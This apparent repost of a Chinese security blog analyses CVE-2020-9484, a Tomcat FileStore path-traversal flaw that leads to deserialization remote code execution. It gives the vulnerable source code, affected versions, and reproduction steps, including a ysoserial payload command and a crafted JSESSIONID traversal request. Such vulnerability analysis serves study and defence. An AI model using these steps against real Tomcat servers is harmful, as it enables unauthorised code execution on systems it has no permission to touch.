CVE-2020-9484 Tomcat RCE漏洞分析

admin 2021年5月7日22:11:34评论38 views字数 3918阅读13分3秒阅读模式

1、漏洞简述

当使用tomcat时,如果使用了tomcat提供的session持久化功能,如果存在文件上传功能,恶意请求者通过一个流程,将能发起一个恶意请求造成服务端远程命令执行。

2、条件

  1. tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget

  2. 存在文件上传功能(传到任意目录都可以,需要知道上传后的目录路径以及文件后缀必须为.session)

3、漏洞详情

当用户在使用tomcat时,启用了session持久化功能FileStore,例(conf/context.xml):
<Context>
...
<Manager className="org.apache.catalina.session.PersistentManager"
debug="0"
saveOnRestart="false"
maxActiveSession="-1"
minIdleSwap="-1"
maxIdleSwap="-1"
maxIdleBackup="-1">
<Store className="org.apache.catalina.session.FileStore" directory="./session" />
</Manager>
</Context>

有人说,需要知道directory的目录才可以,可用很负责任的说,并不需要。

在使用了上述功能的情况下,如果恶意用户可以上传指定后缀(.session)的文件时,利用反序列化gadget,将能造成服务端远程代码执行,原因在于FileStore类读取文件时,使用了JSESSIONID的名称,没有过滤“/../”这样的目录穿越:

org.apache.catalina.session.FileStore:

```**
public Session load(String id) throws ClassNotFoundException, IOException {
// Open an input stream to the specified pathname, if any
File file = file(id);
if (file == null || !file.exists()) {
return null;
}

Context context = getManager().getContext();
Log contextLog = context.getLogger();

if (contextLog.isDebugEnabled()) {
    contextLog.debug(sm.getString(getStoreName()+".loading", id, file.getAbsolutePath()));
}

ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null);

try (FileInputStream fis = new FileInputStream(file.getAbsolutePath());
        ObjectInputStream ois = getObjectInputStream(fis)) {

    StandardSession session = (StandardSession) manager.createEmptySession();
    session.readObjectData(ois);
    session.setManager(manager);
    return session;
} catch (FileNotFoundException e) {
    if (contextLog.isDebugEnabled()) {
        contextLog.debug("No persisted data file found");
    }
    return null;
} finally {
    context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL);
}

}

private File file(String id) throws IOException {
if (this.directory == null) {
return null;
}
String filename = id + FILE_EXT;
File file = new File(directory(), filename);
return file;
}
```

上述代码,通过构造“/../”的filename路径,将能穿越到任意目录去读取后缀为“.session”的序列化数据进行反序列化。

至于为什么tomcat的common加载器加载的org.apache.catalina.session.FileStore,能加载到gadget的依赖?原因是使用了当前类加载器:

```
protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException {
BufferedInputStream bis = new BufferedInputStream(is);

CustomObjectInputStream ois;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();

if (manager instanceof ManagerBase) {
    ManagerBase managerBase = (ManagerBase) manager;
    ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(),
            managerBase.getSessionAttributeValueClassNamePattern(),
            managerBase.getWarnOnSessionAttributeFilterFailure());
} else {
    ois = new CustomObjectInputStream(bis, classLoader);
}

return ois;

}
```

它破坏了双亲委托模型的隐式加载,因为当前访问的是bug这个context项目(看后面),所以,一般情况下,Thread.currentThread().getContextClassLoader()取到的类加载器将会是应用类加载器,所以能加载得到WEB-INF/lib的依赖。

4、影响版本

<= 9.0.34
<= 8.5.54
<= 7.0.103

5、漏洞复现

配置tomcat的conf/context.xml文件:
```

...

<Manager className="org.apache.catalina.session.PersistentManager"
  debug="0"
  saveOnRestart="false"
  maxActiveSession="-1"
  minIdleSwap="-1"
  maxIdleSwap="-1"
  maxIdleBackup="-1">
    <Store className="org.apache.catalina.session.FileStore" directory="./session" />
</Manager>

```

部署一个存在以下依赖的webapp(一个存在commons-collections4的jar依赖的web服务,例bug.war)到tomcat:

dependencies {
compile 'org.apache.commons:commons-collections4:4.0'
}

使用github上的ysoserial工具->https://github.com/frohoff/ysoserial,生成commons-collections4依赖的gadget恶意序列化数据:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/tomcat-bug" > /tmp/22222.session

通过有缺陷的文件上传功能把恶意序列化数据文件上传到任意目录,但后缀必须是“.session”,例如:/tmp/22222.session

最后,发起恶意请求,请求payload:

GET /bug/api HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=../../../../../../../../../../../../tmp/22222

将会导致服务端远程代码执行。

6、写在最后

其实tomcat的安全性做得非常不错的,源码肛了一遍,也没找到什么比较强的洞,倒是有几个非security by default导致的洞,听说都给官方提交过去了,但是被以非安全配置和可信网络才可访问给忽略了。

这些非security by default的洞大概就是那么两个:

session cluster sync(session集群同步):https://github.com/threedr3am/tomcat-cluster-session-sync-exp

war cluster sync(war集群同步):主要是代码有点复杂,没什么时间去写exp

CVE-2020-9484 Tomcat RCE漏洞分析

相关推荐: 内联注入绕云锁

云锁官网 https://www.yunsuo.com.cn/ 下载的是公有云版本 云锁服务器端Windows版本 搭建的服务器是phpstudy版本的 Apache+mysql 使用的漏洞集成是pikachu的字符型SQL注入 漏洞页面 http://192…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月7日22:11:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-9484 Tomcat RCE漏洞分析https://cn-sec.com/archives/246571.html